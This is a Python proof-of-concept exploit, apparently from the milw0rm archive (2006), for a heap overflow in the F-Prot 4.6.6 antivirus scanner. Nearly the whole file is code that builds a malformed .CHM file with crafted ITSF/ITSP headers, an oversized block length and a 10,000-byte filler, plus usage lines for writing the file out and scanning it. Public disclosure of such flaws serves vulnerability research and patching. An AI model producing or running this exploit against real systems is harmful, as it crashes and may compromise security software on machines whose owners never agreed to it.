57 lines
No EOL
2 KiB
Python
Executable file
57 lines
No EOL
2 KiB
Python
Executable file
# fprot2.py - trivial proof of concept code for F-Prot 4.6.6 .CHM heap
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# overflow
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#
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# Copyright (c) 2006 Evgeny Legerov
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#
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# Permission to use, copy, modify, and distribute this software for any
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# purpose with or without fee is hereby granted, provided that the above
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# copyright notice and this permission notice appear in all copies.
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#
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# THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
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# WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
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# MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
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# ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
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# WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
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# ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
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# OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
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#
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# $ ./fprot2.py > 1.chm
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# $ f-prot 1.chm
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import sys
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import struct
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s=""
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s+="ITSF" # signature
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s+=struct.pack("<L",3) # version
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s+=struct.pack("<L",96) # header_len
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s+=struct.pack("<L",1) # unknown
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s+=struct.pack("<L",0x41424344) # last_modified
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s+=struct.pack("<L",0x419) # lang_id
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s+="A"*16 #dir_clsid
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s+="B"*16 #stream_clsid
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s+=struct.pack("<L",96) + "\x00" * 4 #sec0_offset
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s+=struct.pack("<L",24) + "\x00" * 4 #sec0_len
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s+=struct.pack("<L",120) + "\x00" *4 #dir_offset
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s+=struct.pack("<L",4180) + "\x00" * 4 #dir_len
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s+=struct.pack("<L",4300) + "\x00"*4 #data_offset
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s+="A"*24
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s+="ITSP"
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s+=struct.pack("<L", 1) # version
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s+=struct.pack("<L",0x54) # header_len
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s+=struct.pack("<L", 0xa) # unknown
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s+=struct.pack("<L",1000) # block_len - BUG?
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s+=struct.pack("<L",2) # blockidx
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s+=struct.pack("<L", 1) # index_depth
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s+=struct.pack("<L", -1) # index_root
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s+=struct.pack("<L",0) # index_head
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s+=struct.pack("<L",0) # index_tail
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s+=struct.pack("<L", -1) # unknown2
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s+=struct.pack("<L",1) # num_blocks
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s+=struct.pack("<L", 1033) # lang_id
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s+="A"*32
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s+="B"*10000
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sys.stdout.write(s)
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# milw0rm.com [2006-12-04] |